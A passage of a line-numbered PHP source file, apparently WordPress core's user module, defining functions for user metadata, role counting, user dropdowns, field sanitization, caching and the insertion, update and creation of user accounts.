1093 $blog_id = get_current_blog_id();
1094
1095 $blogs = get_blogs_of_user( $user_id );
1096 return array_key_exists( $blog_id, $blogs );
1097}
1098
1099/**
1100 * Add meta data field to a user.
1101 *
1102 * Post meta data is called "Custom Fields" on the Administration Screens.
1103 *
1104 * @since 3.0.0
1105 * @uses add_metadata()
1106 * @link http://codex.wordpress.org/Function_Reference/add_user_meta
1107 *
1108 * @param int $user_id User ID.
1109 * @param string $meta_key Metadata name.
1110 * @param mixed $meta_value Metadata value.
1111 * @param bool $unique Optional, default is false. Whether the same key should not be added.
1112 * @return int|bool Meta ID on success, false on failure.
1113 */
1114function add_user_meta($user_id, $meta_key, $meta_value, $unique = false) {
1115 return add_metadata('user', $user_id, $meta_key, $meta_value, $unique);
1116}
1117
1118/**
1119 * Remove metadata matching criteria from a user.
1120 *
1121 * You can match based on the key, or key and value. Removing based on key and
1122 * value, will keep from removing duplicate metadata with the same key. It also
1123 * allows removing all metadata matching key, if needed.
1124 *
1125 * @since 3.0.0
1126 * @uses delete_metadata()
1127 * @link http://codex.wordpress.org/Function_Reference/delete_user_meta
1128 *
1129 * @param int $user_id user ID
1130 * @param string $meta_key Metadata name.
1131 * @param mixed $meta_value Optional. Metadata value.
1132 * @return bool True on success, false on failure.
1133 */
1134function delete_user_meta($user_id, $meta_key, $meta_value = '') {
1135 return delete_metadata('user', $user_id, $meta_key, $meta_value);
1136}
1137
1138/**
1139 * Retrieve user meta field for a user.
1140 *
1141 * @since 3.0.0
1142 * @uses get_metadata()
1143 * @link http://codex.wordpress.org/Function_Reference/get_user_meta
1144 *
1145 * @param int $user_id User ID.
1146 * @param string $key Optional. The meta key to retrieve. By default, returns data for all keys.
1147 * @param bool $single Whether to return a single value.
1148 * @return mixed Will be an array if $single is false. Will be value of meta data field if $single
1149 * is true.
1150 */
1151function get_user_meta($user_id, $key = '', $single = false) {
1152 return get_metadata('user', $user_id, $key, $single);
1153}
1154
1155/**
1156 * Update user meta field based on user ID.
1157 *
1158 * Use the $prev_value parameter to differentiate between meta fields with the
1159 * same key and user ID.
1160 *
1161 * If the meta field for the user does not exist, it will be added.
1162 *
1163 * @since 3.0.0
1164 * @uses update_metadata
1165 * @link http://codex.wordpress.org/Function_Reference/update_user_meta
1166 *
1167 * @param int $user_id User ID.
1168 * @param string $meta_key Metadata key.
1169 * @param mixed $meta_value Metadata value.
1170 * @param mixed $prev_value Optional. Previous value to check before removing.
1171 * @return int|bool Meta ID if the key didn't exist, true on successful update, false on failure.
1172 */
1173function update_user_meta($user_id, $meta_key, $meta_value, $prev_value = '') {
1174 return update_metadata('user', $user_id, $meta_key, $meta_value, $prev_value);
1175}
1176
1177/**
1178 * Count number of users who have each of the user roles.
1179 *
1180 * Assumes there are neither duplicated nor orphaned capabilities meta_values.
1181 * Assumes role names are unique phrases. Same assumption made by WP_User_Query::prepare_query()
1182 * Using $strategy = 'time' this is CPU-intensive and should handle around 10^7 users.
1183 * Using $strategy = 'memory' this is memory-intensive and should handle around 10^5 users, but see WP Bug #12257.
1184 *
1185 * @since 3.0.0
1186 * @param string $strategy 'time' or 'memory'
1187 * @return array Includes a grand total and an array of counts indexed by role strings.
1188 */
1189function count_users($strategy = 'time') {
1190 global $wpdb, $wp_roles;
1191
1192 // Initialize
1193 $id = get_current_blog_id();
1194 $blog_prefix = $wpdb->get_blog_prefix($id);
1195 $result = array();
1196
1197 if ( 'time' == $strategy ) {
1198 global $wp_roles;
1199
1200 if ( ! isset( $wp_roles ) )
1201 $wp_roles = new WP_Roles();
1202
1203 $avail_roles = $wp_roles->get_names();
1204
1205 // Build a CPU-intensive query that will return concise information.
1206 $select_count = array();
1207 foreach ( $avail_roles as $this_role => $name ) {
1208 $select_count[] = $wpdb->prepare( "COUNT(NULLIF(`meta_value` LIKE %s, false))", '%' . $wpdb->esc_like( '"' . $this_role . '"' ) . '%');
1209 }
1210 $select_count = implode(', ', $select_count);
1211
1212 // Add the meta_value index to the selection list, then run the query.
1213 $row = $wpdb->get_row( "SELECT $select_count, COUNT(*) FROM $wpdb->usermeta WHERE meta_key = '{$blog_prefix}capabilities'", ARRAY_N );
1214
1215 // Run the previous loop again to associate results with role names.
1216 $col = 0;
1217 $role_counts = array();
1218 foreach ( $avail_roles as $this_role => $name ) {
1219 $count = (int) $row[$col++];
1220 if ($count > 0) {
1221 $role_counts[$this_role] = $count;
1222 }
1223 }
1224
1225 // Get the meta_value index from the end of the result set.
1226 $total_users = (int) $row[$col];
1227
1228 $result['total_users'] = $total_users;
1229 $result['avail_roles'] =& $role_counts;
1230 } else {
1231 $avail_roles = array();
1232
1233 $users_of_blog = $wpdb->get_col( "SELECT meta_value FROM $wpdb->usermeta WHERE meta_key = '{$blog_prefix}capabilities'" );
1234
1235 foreach ( $users_of_blog as $caps_meta ) {
1236 $b_roles = maybe_unserialize($caps_meta);
1237 if ( ! is_array( $b_roles ) )
1238 continue;
1239 foreach ( $b_roles as $b_role => $val ) {
1240 if ( isset($avail_roles[$b_role]) ) {
1241 $avail_roles[$b_role]++;
1242 } else {
1243 $avail_roles[$b_role] = 1;
1244 }
1245 }
1246 }
1247
1248 $result['total_users'] = count( $users_of_blog );
1249 $result['avail_roles'] =& $avail_roles;
1250 }
1251
1252 return $result;
1253}
1254
1255//
1256// Private helper functions
1257//
1258
1259/**
1260 * Set up global user vars.
1261 *
1262 * Used by wp_set_current_user() for back compat. Might be deprecated in the future.
1263 *
1264 * @since 2.0.4
1265 * @global string $userdata User description.
1266 * @global string $user_login The user username for logging in
1267 * @global int $user_level The level of the user
1268 * @global int $user_ID The ID of the user
1269 * @global string $user_email The email address of the user
1270 * @global string $user_url The url in the user's profile
1271 * @global string $user_identity The display name of the user
1272 *
1273 * @param int $for_user_id Optional. User ID to set up global data.
1274 */
1275function setup_userdata($for_user_id = '') {
1276 global $user_login, $userdata, $user_level, $user_ID, $user_email, $user_url, $user_identity;
1277
1278 if ( '' == $for_user_id )
1279 $for_user_id = get_current_user_id();
1280 $user = get_userdata( $for_user_id );
1281
1282 if ( ! $user ) {
1283 $user_ID = 0;
1284 $user_level = 0;
1285 $userdata = null;
1286 $user_login = $user_email = $user_url = $user_identity = '';
1287 return;
1288 }
1289
1290 $user_ID = (int) $user->ID;
1291 $user_level = (int) $user->user_level;
1292 $userdata = $user;
1293 $user_login = $user->user_login;
1294 $user_email = $user->user_email;
1295 $user_url = $user->user_url;
1296 $user_identity = $user->display_name;
1297}
1298
1299/**
1300 * Create dropdown HTML content of users.
1301 *
1302 * The content can either be displayed, which it is by default or retrieved by
1303 * setting the 'echo' argument. The 'include' and 'exclude' arguments do not
1304 * need to be used; all users will be displayed in that case. Only one can be
1305 * used, either 'include' or 'exclude', but not both.
1306 *
1307 * The available arguments are as follows:
1308 *
1309 * @since 2.3.0
1310 *
1311 * @global wpdb $wpdb WordPress database object for queries.
1312 *
1313 * @param array|string $args {
1314 * Optional. Array or string of arguments to generate a drop-down of users.
1315 * {@see WP_User_Query::prepare_query() for additional available arguments.
1316 *
1317 * @type string $show_option_all Text to show as the drop-down default (all).
1318 * Default empty.
1319 * @type string $show_option_none Text to show as the drop-down default when no
1320 * users were found. Default empty.
1321 * @type int|string $option_none_value Value to use for $show_option_non when no users
1322 * were found. Default -1.
1323 * @type string $hide_if_only_one_author Whether to skip generating the drop-down
1324 * if only one user was found. Default empty.
1325 * @type string $orderby Field to order found users by. Accepts user fields.
1326 * Default 'display_name'.
1327 * @type string $order Whether to order users in ascending or descending
1328 * order. Accepts 'ASC' (ascending) or 'DESC' (descending).
1329 * Default 'ASC'.
1330 * @type array|string $include Array or comma-separated list of user IDs to include.
1331 * Default empty.
1332 * @type array|string $exclude Array or comma-separated list of user IDs to exclude.
1333 * Default empty.
1334 * @type bool|int $multi Whether to skip the ID attribute on the 'select' element.
1335 * Accepts 1|true or 0|false. Default 0|false.
1336 * @type string $show User table column to display. If the selected item is empty
1337 * then the 'user_login' will be displayed in parentheses.
1338 * Accepts user fields. Default 'display_name'.
1339 * @type int|bool $echo Whether to echo or return the drop-down. Accepts 1|true (echo)
1340 * or 0|false (return). Default 1|true.
1341 * @type int $selected Which user ID should be selected. Default 0.
1342 * @type bool $include_selected Whether to always include the selected user ID in the drop-
1343 * down. Default false.
1344 * @type string $name Name attribute of select element. Default 'user'.
1345 * @type string $id ID attribute of the select element. Default is the value of $name.
1346 * @type string $class Class attribute of the select element. Default empty.
1347 * @type int $blog_id ID of blog (Multisite only). Default is ID of the current blog.
1348 * @type string $who Which type of users to query. Accepts only an empty string or
1349 * 'authors'. Default empty.
1350 * }
1351 * @return string|null Null on display. String of HTML content on retrieve.
1352 */
1353function wp_dropdown_users( $args = '' ) {
1354 $defaults = array(
1355 'show_option_all' => '', 'show_option_none' => '', 'hide_if_only_one_author' => '',
1356 'orderby' => 'display_name', 'order' => 'ASC',
1357 'include' => '', 'exclude' => '', 'multi' => 0,
1358 'show' => 'display_name', 'echo' => 1,
1359 'selected' => 0, 'name' => 'user', 'class' => '', 'id' => '',
1360 'blog_id' => $GLOBALS['blog_id'], 'who' => '', 'include_selected' => false,
1361 'option_none_value' => -1
1362 );
1363
1364 $defaults['selected'] = is_author() ? get_query_var( 'author' ) : 0;
1365
1366 $r = wp_parse_args( $args, $defaults );
1367 $show = $r['show'];
1368 $show_option_all = $r['show_option_all'];
1369 $show_option_none = $r['show_option_none'];
1370 $option_none_value = $r['option_none_value'];
1371
1372 $query_args = wp_array_slice_assoc( $r, array( 'blog_id', 'include', 'exclude', 'orderby', 'order', 'who' ) );
1373 $query_args['fields'] = array( 'ID', 'user_login', $show );
1374 $users = get_users( $query_args );
1375
1376 $output = '';
1377 if ( ! empty( $users ) && ( empty( $r['hide_if_only_one_author'] ) || count( $users ) > 1 ) ) {
1378 $name = esc_attr( $r['name'] );
1379 if ( $r['multi'] && ! $r['id'] ) {
1380 $id = '';
1381 } else {
1382 $id = $r['id'] ? " id='" . esc_attr( $r['id'] ) . "'" : " id='$name'";
1383 }
1384 $output = "<select name='{$name}'{$id} class='" . $r['class'] . "'>\n";
1385
1386 if ( $show_option_all ) {
1387 $output .= "\t<option value='0'>$show_option_all</option>\n";
1388 }
1389
1390 if ( $show_option_none ) {
1391 $_selected = selected( $option_none_value, $r['selected'], false );
1392 $output .= "\t<option value='" . esc_attr( $option_none_value ) . "'$_selected>$show_option_none</option>\n";
1393 }
1394
1395 $found_selected = false;
1396 foreach ( (array) $users as $user ) {
1397 $user->ID = (int) $user->ID;
1398 $_selected = selected( $user->ID, $r['selected'], false );
1399 if ( $_selected ) {
1400 $found_selected = true;
1401 }
1402 $display = ! empty( $user->$show ) ? $user->$show : '('. $user->user_login . ')';
1403 $output .= "\t<option value='$user->ID'$_selected>" . esc_html( $display ) . "</option>\n";
1404 }
1405
1406 if ( $r['include_selected'] && ! $found_selected && ( $r['selected'] > 0 ) ) {
1407 $user = get_userdata( $r['selected'] );
1408 $_selected = selected( $user->ID, $r['selected'], false );
1409 $display = ! empty( $user->$show ) ? $user->$show : '('. $user->user_login . ')';
1410 $output .= "\t<option value='$user->ID'$_selected>" . esc_html( $display ) . "</option>\n";
1411 }
1412
1413 $output .= "</select>";
1414 }
1415
1416 /**
1417 * Filter the wp_dropdown_users() HTML output.
1418 *
1419 * @since 2.3.0
1420 *
1421 * @param string $output HTML output generated by wp_dropdown_users().
1422 */
1423 $html = apply_filters( 'wp_dropdown_users', $output );
1424
1425 if ( $r['echo'] ) {
1426 echo $html;
1427 }
1428 return $html;
1429}
1430
1431/**
1432 * Sanitize user field based on context.
1433 *
1434 * Possible context values are: 'raw', 'edit', 'db', 'display', 'attribute' and 'js'. The
1435 * 'display' context is used by default. 'attribute' and 'js' contexts are treated like 'display'
1436 * when calling filters.
1437 *
1438 * @since 2.3.0
1439 *
1440 * @param string $field The user Object field name.
1441 * @param mixed $value The user Object value.
1442 * @param int $user_id user ID.
1443 * @param string $context How to sanitize user fields. Looks for 'raw', 'edit', 'db', 'display',
1444 * 'attribute' and 'js'.
1445 * @return mixed Sanitized value.
1446 */
1447function sanitize_user_field($field, $value, $user_id, $context) {
1448 $int_fields = array('ID');
1449 if ( in_array($field, $int_fields) )
1450 $value = (int) $value;
1451
1452 if ( 'raw' == $context )
1453 return $value;
1454
1455 if ( !is_string($value) && !is_numeric($value) )
1456 return $value;
1457
1458 $prefixed = false !== strpos( $field, 'user_' );
1459
1460 if ( 'edit' == $context ) {
1461 if ( $prefixed ) {
1462
1463 /** This filter is documented in wp-includes/post.php */
1464 $value = apply_filters( "edit_{$field}", $value, $user_id );
1465 } else {
1466
1467 /**
1468 * Filter a user field value in the 'edit' context.
1469 *
1470 * The dynamic portion of the hook name, $field, refers to the prefixed user
1471 * field being filtered, such as 'user_login', 'user_email', 'first_name', etc.
1472 *
1473 * @since 2.9.0
1474 *
1475 * @param mixed $value Value of the prefixed user field.
1476 * @param int $user_id User ID.
1477 */
1478 $value = apply_filters( "edit_user_{$field}", $value, $user_id );
1479 }
1480
1481 if ( 'description' == $field )
1482 $value = esc_html( $value ); // textarea_escaped?
1483 else
1484 $value = esc_attr($value);
1485 } else if ( 'db' == $context ) {
1486 if ( $prefixed ) {
1487 /** This filter is documented in wp-includes/post.php */
1488 $value = apply_filters( "pre_{$field}", $value );
1489 } else {
1490
1491 /**
1492 * Filter the value of a user field in the 'db' context.
1493 *
1494 * The dynamic portion of the hook name, $field, refers to the prefixed user
1495 * field being filtered, such as 'user_login', 'user_email', 'first_name', etc.
1496 *
1497 * @since 2.9.0
1498 *
1499 * @param mixed $value Value of the prefixed user field.
1500 */
1501 $value = apply_filters( "pre_user_{$field}", $value );
1502 }
1503 } else {
1504 // Use display filters by default.
1505 if ( $prefixed ) {
1506
1507 /** This filter is documented in wp-includes/post.php */
1508 $value = apply_filters( $field, $value, $user_id, $context );
1509 } else {
1510
1511 /**
1512 * Filter the value of a user field in a standard context.
1513 *
1514 * The dynamic portion of the hook name, $field, refers to the prefixed user
1515 * field being filtered, such as 'user_login', 'user_email', 'first_name', etc.
1516 *
1517 * @since 2.9.0
1518 *
1519 * @param mixed $value The user object value to sanitize.
1520 * @param int $user_id User ID.
1521 * @param string $context The context to filter within.
1522 */
1523 $value = apply_filters( "user_{$field}", $value, $user_id, $context );
1524 }
1525 }
1526
1527 if ( 'user_url' == $field )
1528 $value = esc_url($value);
1529
1530 if ( 'attribute' == $context )
1531 $value = esc_attr($value);
1532 else if ( 'js' == $context )
1533 $value = esc_js($value);
1534
1535 return $value;
1536}
1537
1538/**
1539 * Update all user caches
1540 *
1541 * @since 3.0.0
1542 *
1543 * @param object $user User object to be cached
1544 */
1545function update_user_caches($user) {
1546 wp_cache_add($user->ID, $user, 'users');
1547 wp_cache_add($user->user_login, $user->ID, 'userlogins');
1548 wp_cache_add($user->user_email, $user->ID, 'useremail');
1549 wp_cache_add($user->user_nicename, $user->ID, 'userslugs');
1550}
1551
1552/**
1553 * Clean all user caches
1554 *
1555 * @since 3.0.0
1556 *
1557 * @param WP_User|int $user User object or ID to be cleaned from the cache
1558 */
1559function clean_user_cache( $user ) {
1560 if ( is_numeric( $user ) )
1561 $user = new WP_User( $user );
1562
1563 if ( ! $user->exists() )
1564 return;
1565
1566 wp_cache_delete( $user->ID, 'users' );
1567 wp_cache_delete( $user->user_login, 'userlogins' );
1568 wp_cache_delete( $user->user_email, 'useremail' );
1569 wp_cache_delete( $user->user_nicename, 'userslugs' );
1570}
1571
1572/**
1573 * Checks whether the given username exists.
1574 *
1575 * @since 2.0.0
1576 *
1577 * @param string $username Username.
1578 * @return null|int The user's ID on success, and null on failure.
1579 */
1580function username_exists( $username ) {
1581 if ( $user = get_user_by('login', $username ) ) {
1582 return $user->ID;
1583 } else {
1584 return null;
1585 }
1586}
1587
1588/**
1589 * Checks whether the given email exists.
1590 *
1591 * @since 2.1.0
1592 *
1593 * @param string $email Email.
1594 * @return bool|int The user's ID on success, and false on failure.
1595 */
1596function email_exists( $email ) {
1597 if ( $user = get_user_by('email', $email) )
1598 return $user->ID;
1599
1600 return false;
1601}
1602
1603/**
1604 * Checks whether an username is valid.
1605 *
1606 * @since 2.0.1
1607 * @uses apply_filters() Calls 'validate_username' hook on $valid check and $username as parameters
1608 *
1609 * @param string $username Username.
1610 * @return bool Whether username given is valid
1611 */
1612function validate_username( $username ) {
1613 $sanitized = sanitize_user( $username, true );
1614 $valid = ( $sanitized == $username );
1615 /**
1616 * Filter whether the provided username is valid or not.
1617 *
1618 * @since 2.0.1
1619 *
1620 * @param bool $valid Whether given username is valid.
1621 * @param string $username Username to check.
1622 */
1623 return apply_filters( 'validate_username', $valid, $username );
1624}
1625
1626/**
1627 * Insert an user into the database.
1628 *
1629 * Most of the $userdata array fields have filters associated with the values.
1630 * The exceptions are 'rich_editing', 'role', 'jabber', 'aim', 'yim',
1631 * 'user_registered', and 'ID'. The filters have the prefix 'pre_user_' followed
1632 * by the field name. An example using 'description' would have the filter
1633 * called, 'pre_user_description' that can be hooked into.
1634 *
1635 * @since 2.0.0
1636 *
1637 * @global wpdb $wpdb WordPress database object for queries.
1638 *
1639 * @param array $userdata {
1640 * An array, object, or WP_User object of user data arguments.
1641 *
1642 * @type int $ID User ID. If supplied, the user will be updated.
1643 * @type string $user_pass The plain-text user password.
1644 * @type string $user_login The user's login username.
1645 * @type string $user_nicename The URL-friendly user name.
1646 * @type string $user_url The user URL.
1647 * @type string $user_email The user email address.
1648 * @type string $display_name The user's display name.
1649 * Default is the the user's username.
1650 * @type string $nickname The user's nickname. Default
1651 * Default is the the user's username.
1652 * @type string $first_name The user's first name. For new users, will be used
1653 * to build $display_name if unspecified.
1654 * @type stirng $last_name The user's last name. For new users, will be used
1655 * to build $display_name if unspecified.
1656 * @type string|bool $rich_editing Whether to enable the rich-editor for the user. False
1657 * if not empty.
1658 * @type string $date_registered Date the user registered. Format is 'Y-m-d H:i:s'.
1659 * @type string $role User's role.
1660 * @type string $jabber User's Jabber account username.
1661 * @type string $aim User's AIM account username.
1662 * @type string $yim User's Yahoo! messenger username.
1663 * }
1664 * @return int|WP_Error The newly created user's ID or a WP_Error object if the user could not
1665 * be created.
1666 */
1667function wp_insert_user( $userdata ) {
1668 global $wpdb;
1669
1670 if ( is_a( $userdata, 'stdClass' ) ) {
1671 $userdata = get_object_vars( $userdata );
1672 } elseif ( is_a( $userdata, 'WP_User' ) ) {
1673 $userdata = $userdata->to_array();
1674 }
1675 // Are we updating or creating?
1676 if ( ! empty( $userdata['ID'] ) ) {
1677 $ID = (int) $userdata['ID'];
1678 $update = true;
1679 $old_user_data = WP_User::get_data_by( 'id', $ID );
1680 // hashed in wp_update_user(), plaintext if called directly
1681 $user_pass = $userdata['user_pass'];
1682 } else {
1683 $update = false;
1684 // Hash the password
1685 $user_pass = wp_hash_password( $userdata['user_pass'] );
1686 }
1687
1688 $sanitized_user_login = sanitize_user( $userdata['user_login'], true );
1689
1690 /**
1691 * Filter a username after it has been sanitized.
1692 *
1693 * This filter is called before the user is created or updated.
1694 *
1695 * @since 2.0.3
1696 *
1697 * @param string $sanitized_user_login Username after it has been sanitized.
1698 */
1699 $pre_user_login = apply_filters( 'pre_user_login', $sanitized_user_login );
1700
1701 //Remove any non-printable chars from the login string to see if we have ended up with an empty username
1702 $user_login = trim( $pre_user_login );
1703
1704 if ( empty( $user_login ) ) {
1705 return new WP_Error('empty_user_login', __('Cannot create a user with an empty login name.') );
1706 }
1707 if ( ! $update && username_exists( $user_login ) ) {
1708 return new WP_Error( 'existing_user_login', __( 'Sorry, that username already exists!' ) );
1709 }
1710 if ( empty( $userdata['user_nicename'] ) ) {
1711 $user_nicename = sanitize_title( $user_login );
1712 } else {
1713 $user_nicename = $userdata['user_nicename'];
1714 }
1715
1716 // Store values to save in user meta.
1717 $meta = array();
1718
1719 /**
1720 * Filter a user's nicename before the user is created or updated.
1721 *
1722 * @since 2.0.3
1723 *
1724 * @param string $user_nicename The user's nicename.
1725 */
1726 $user_nicename = apply_filters( 'pre_user_nicename', $user_nicename );
1727
1728 $raw_user_url = empty( $userdata['user_url'] ) ? '' : $userdata['user_url'];
1729
1730 /**
1731 * Filter a user's URL before the user is created or updated.
1732 *
1733 * @since 2.0.3
1734 *
1735 * @param string $raw_user_url The user's URL.
1736 */
1737 $user_url = apply_filters( 'pre_user_url', $raw_user_url );
1738
1739 $raw_user_email = empty( $userdata['user_email'] ) ? '' : $userdata['user_email'];
1740
1741 /**
1742 * Filter a user's email before the user is created or updated.
1743 *
1744 * @since 2.0.3
1745 *
1746 * @param string $raw_user_email The user's email.
1747 */
1748 $user_email = apply_filters( 'pre_user_email', $raw_user_email );
1749
1750 if ( ! $update && ! defined( 'WP_IMPORTING' ) && email_exists( $user_email ) ) {
1751 return new WP_Error( 'existing_user_email', __( 'Sorry, that email address is already used!' ) );
1752 }
1753 $nickname = empty( $userdata['nickname'] ) ? $user_login : $userdata['nickname'];
1754
1755 /**
1756 * Filter a user's nickname before the user is created or updated.
1757 *
1758 * @since 2.0.3
1759 *
1760 * @param string $nickname The user's nickname.
1761 */
1762 $meta['nickname'] = apply_filters( 'pre_user_nickname', $nickname );
1763
1764 $first_name = empty( $userdata['first_name'] ) ? '' : $userdata['first_name'];
1765
1766 /**
1767 * Filter a user's first name before the user is created or updated.
1768 *
1769 * @since 2.0.3
1770 *
1771 * @param string $first_name The user's first name.
1772 */
1773 $meta['first_name'] = apply_filters( 'pre_user_first_name', $first_name );
1774
1775 $last_name = empty( $userdata['last_name'] ) ? '' : $userdata['last_name'];
1776
1777 /**
1778 * Filter a user's last name before the user is created or updated.
1779 *
1780 * @since 2.0.3
1781 *
1782 * @param string $last_name The user's last name.
1783 */
1784 $meta['last_name'] = apply_filters( 'pre_user_last_name', $last_name );
1785
1786 if ( empty( $userdata['display_name'] ) ) {
1787 if ( $update ) {
1788 $display_name = $user_login;
1789 } elseif ( $meta['first_name'] && $meta['last_name'] ) {
1790 /* translators: 1: first name, 2: last name */
1791 $display_name = sprintf( _x( '%1$s %2$s', 'Display name based on first name and last name' ), $meta['first_name'], $meta['last_name'] );
1792 } elseif ( $meta['first_name'] ) {
1793 $display_name = $meta['first_name'];
1794 } elseif ( $meta['last_name'] ) {
1795 $display_name = $meta['last_name'];
1796 } else {
1797 $display_name = $user_login;
1798 }
1799 } else {
1800 $display_name = $userdata['display_name'];
1801 }
1802
1803 /**
1804 * Filter a user's display name before the user is created or updated.
1805 *
1806 * @since 2.0.3
1807 *
1808 * @param string $display_name The user's display name.
1809 */
1810 $display_name = apply_filters( 'pre_user_display_name', $display_name );
1811
1812 $description = empty( $userdata['description'] ) ? '' : $userdata['description'];
1813
1814 /**
1815 * Filter a user's description before the user is created or updated.
1816 *
1817 * @since 2.0.3
1818 *
1819 * @param string $description The user's description.
1820 */
1821 $meta['description'] = apply_filters( 'pre_user_description', $description );
1822
1823 $meta['rich_editing'] = empty( $userdata['rich_editing'] ) ? 'true' : $userdata['rich_editing'];
1824
1825 $meta['comment_shortcuts'] = empty( $userdata['comment_shortcuts'] ) ? 'false' : $userdata['comment_shortcuts'];
1826
1827 $admin_color = empty( $userdata['admin_color'] ) ? 'fresh' : $userdata['admin_color'];
1828 $meta['admin_color'] = preg_replace( '|[^a-z0-9 _.\-@]|i', '', $admin_color );
1829
1830 $meta['use_ssl'] = empty( $userdata['use_ssl'] ) ? 0 : $userdata['use_ssl'];
1831
1832 $user_registered = empty( $userdata['user_registered'] ) ? gmdate( 'Y-m-d H:i:s' ) : $userdata['user_registered'];
1833
1834 $meta['show_admin_bar_front'] = empty( $userdata['show_admin_bar_front'] ) ? 'true' : $userdata['show_admin_bar_front'];
1835
1836 $user_nicename_check = $wpdb->get_var( $wpdb->prepare("SELECT ID FROM $wpdb->users WHERE user_nicename = %s AND user_login != %s LIMIT 1" , $user_nicename, $user_login));
1837
1838 if ( $user_nicename_check ) {
1839 $suffix = 2;
1840 while ($user_nicename_check) {
1841 $alt_user_nicename = $user_nicename . "-$suffix";
1842 $user_nicename_check = $wpdb->get_var( $wpdb->prepare("SELECT ID FROM $wpdb->users WHERE user_nicename = %s AND user_login != %s LIMIT 1" , $alt_user_nicename, $user_login));
1843 $suffix++;
1844 }
1845 $user_nicename = $alt_user_nicename;
1846 }
1847
1848 $compacted = compact( 'user_pass', 'user_email', 'user_url', 'user_nicename', 'display_name', 'user_registered' );
1849 $data = wp_unslash( $compacted );
1850
1851 if ( $update ) {
1852 if ( $user_email !== $old_user_data->user_email ) {
1853 $data['user_activation_key'] = '';
1854 }
1855 $wpdb->update( $wpdb->users, $data, compact( 'ID' ) );
1856 $user_id = (int) $ID;
1857 } else {
1858 $wpdb->insert( $wpdb->users, $data + compact( 'user_login' ) );
1859 $user_id = (int) $wpdb->insert_id;
1860 }
1861
1862 $user = new WP_User( $user_id );
1863
1864 // Update user meta.
1865 foreach ( $meta as $key => $value ) {
1866 update_user_meta( $user_id, $key, $value );
1867 }
1868
1869 foreach ( wp_get_user_contact_methods( $user ) as $key => $value ) {
1870 if ( isset( $userdata[ $key ] ) ) {
1871 update_user_meta( $user_id, $key, $userdata[ $key ] );
1872 }
1873 }
1874
1875 if ( isset( $userdata['role'] ) ) {
1876 $user->set_role( $userdata['role'] );
1877 } elseif ( ! $update ) {
1878 $user->set_role(get_option('default_role'));
1879 }
1880 wp_cache_delete( $user_id, 'users' );
1881 wp_cache_delete( $user_login, 'userlogins' );
1882
1883 if ( $update ) {
1884 /**
1885 * Fires immediately after an existing user is updated.
1886 *
1887 * @since 2.0.0
1888 *
1889 * @param int $user_id User ID.
1890 * @param object $old_user_data Object containing user's data prior to update.
1891 */
1892 do_action( 'profile_update', $user_id, $old_user_data );
1893 } else {
1894 /**
1895 * Fires immediately after a new user is registered.
1896 *
1897 * @since 1.5.0
1898 *
1899 * @param int $user_id User ID.
1900 */
1901 do_action( 'user_register', $user_id );
1902 }
1903
1904 return $user_id;
1905}
1906
1907/**
1908 * Update an user in the database.
1909 *
1910 * It is possible to update a user's password by specifying the 'user_pass'
1911 * value in the $userdata parameter array.
1912 *
1913 * If current user's password is being updated, then the cookies will be
1914 * cleared.
1915 *
1916 * @since 2.0.0
1917 *
1918 * @see wp_insert_user() For what fields can be set in $userdata.
1919 *
1920 * @param mixed $userdata An array of user data or a user object of type stdClass or WP_User.
1921 * @return int|WP_Error The updated user's ID or a WP_Error object if the user could not be updated.
1922 */
1923function wp_update_user($userdata) {
1924 if ( is_a( $userdata, 'stdClass' ) )
1925 $userdata = get_object_vars( $userdata );
1926 elseif ( is_a( $userdata, 'WP_User' ) )
1927 $userdata = $userdata->to_array();
1928
1929 $ID = (int) $userdata['ID'];
1930
1931 // First, get all of the original fields
1932 $user_obj = get_userdata( $ID );
1933 if ( ! $user_obj )
1934 return new WP_Error( 'invalid_user_id', __( 'Invalid user ID.' ) );
1935
1936 $user = $user_obj->to_array();
1937
1938 // Add additional custom fields
1939 foreach ( _get_additional_user_keys( $user_obj ) as $key ) {
1940 $user[ $key ] = get_user_meta( $ID, $key, true );
1941 }
1942
1943 // Escape data pulled from DB.
1944 $user = add_magic_quotes( $user );
1945
1946 // If password is changing, hash it now.
1947 if ( ! empty($userdata['user_pass']) ) {
1948 $plaintext_pass = $userdata['user_pass'];
1949 $userdata['user_pass'] = wp_hash_password($userdata['user_pass']);
1950 }
1951
1952 wp_cache_delete($user[ 'user_email' ], 'useremail');
1953
1954 // Merge old and new fields with new fields overwriting old ones.
1955 $userdata = array_merge($user, $userdata);
1956 $user_id = wp_insert_user($userdata);
1957
1958 // Update the cookies if the password changed.
1959 $current_user = wp_get_current_user();
1960 if ( $current_user->ID == $ID ) {
1961 if ( isset($plaintext_pass) ) {
1962 wp_clear_auth_cookie();
1963
1964 // Here we calculate the expiration length of the current auth cookie and compare it to the default expiration.
1965 // If it's greater than this, then we know the user checked 'Remember Me' when they logged in.
1966 $logged_in_cookie = wp_parse_auth_cookie( '', 'logged_in' );
1967 /** This filter is documented in wp-includes/pluggable.php */
1968 $default_cookie_life = apply_filters( 'auth_cookie_expiration', ( 2 * DAY_IN_SECONDS ), $ID, false );
1969 $remember = ( ( $logged_in_cookie['expiration'] - time() ) > $default_cookie_life );
1970
1971 wp_set_auth_cookie( $ID, $remember );
1972 }
1973 }
1974
1975 return $user_id;
1976}
1977
1978/**
1979 * A simpler way of inserting an user into the database.
1980 *
1981 * Creates a new user with just the username, password, and email. For more
1982 * complex user creation use wp_insert_user() to specify more information.
1983 *
1984 * @since 2.0.0
1985 * @see wp_insert_user() More complete way to create a new user
1986 *
1987 * @param string $username The user's username.
1988 * @param string $password The user's password.
1989 * @param string $email The user's email (optional).
1990 * @return int The new user's ID.
1991 */
1992function wp_create_user($username, $password, $email = '') {
1993 $user_login = wp_slash( $username );
1994 $user_email = wp_slash( $email );
1995 $user_pass = $password;
1996
1997 $userdata = compact('user_login', 'user_email', 'user_pass');
1998 return wp_insert_user($userdata);
1999}
2000
2001/**
2002 * Return a list of meta keys that wp_insert_user() is supposed to set.
2003 *
2004 * @since 3.3.0
2005 * @access private
2006 *
2007 * @param object $user WP_User instance.
2008 * @return array
2009 */
2010function _get_additional_user_keys( $user ) {
2011 $keys = array( 'first_name', 'last_name', 'nickname', 'description', 'rich_editing', 'comment_shortcuts', 'admin_color', 'use_ssl', 'show_admin_bar_front' );
2012 return array_merge( $keys, array_keys( wp_get_user_contact_methods( $user ) ) );
2013}
2014
2015/**
2016 * Set up the user contact methods.
2017 *
2018 * Default contact methods were removed in 3.6. A filter dictates contact methods.
2019 *
2020 * @since 3.7.0
2021 *
2022 * @param WP_User $user Optional. WP_User object.
2023 * @return array Array of contact methods and their labels.
2024 */
2025function wp_get_user_contact_methods( $user = null ) {
2026 $methods = array();
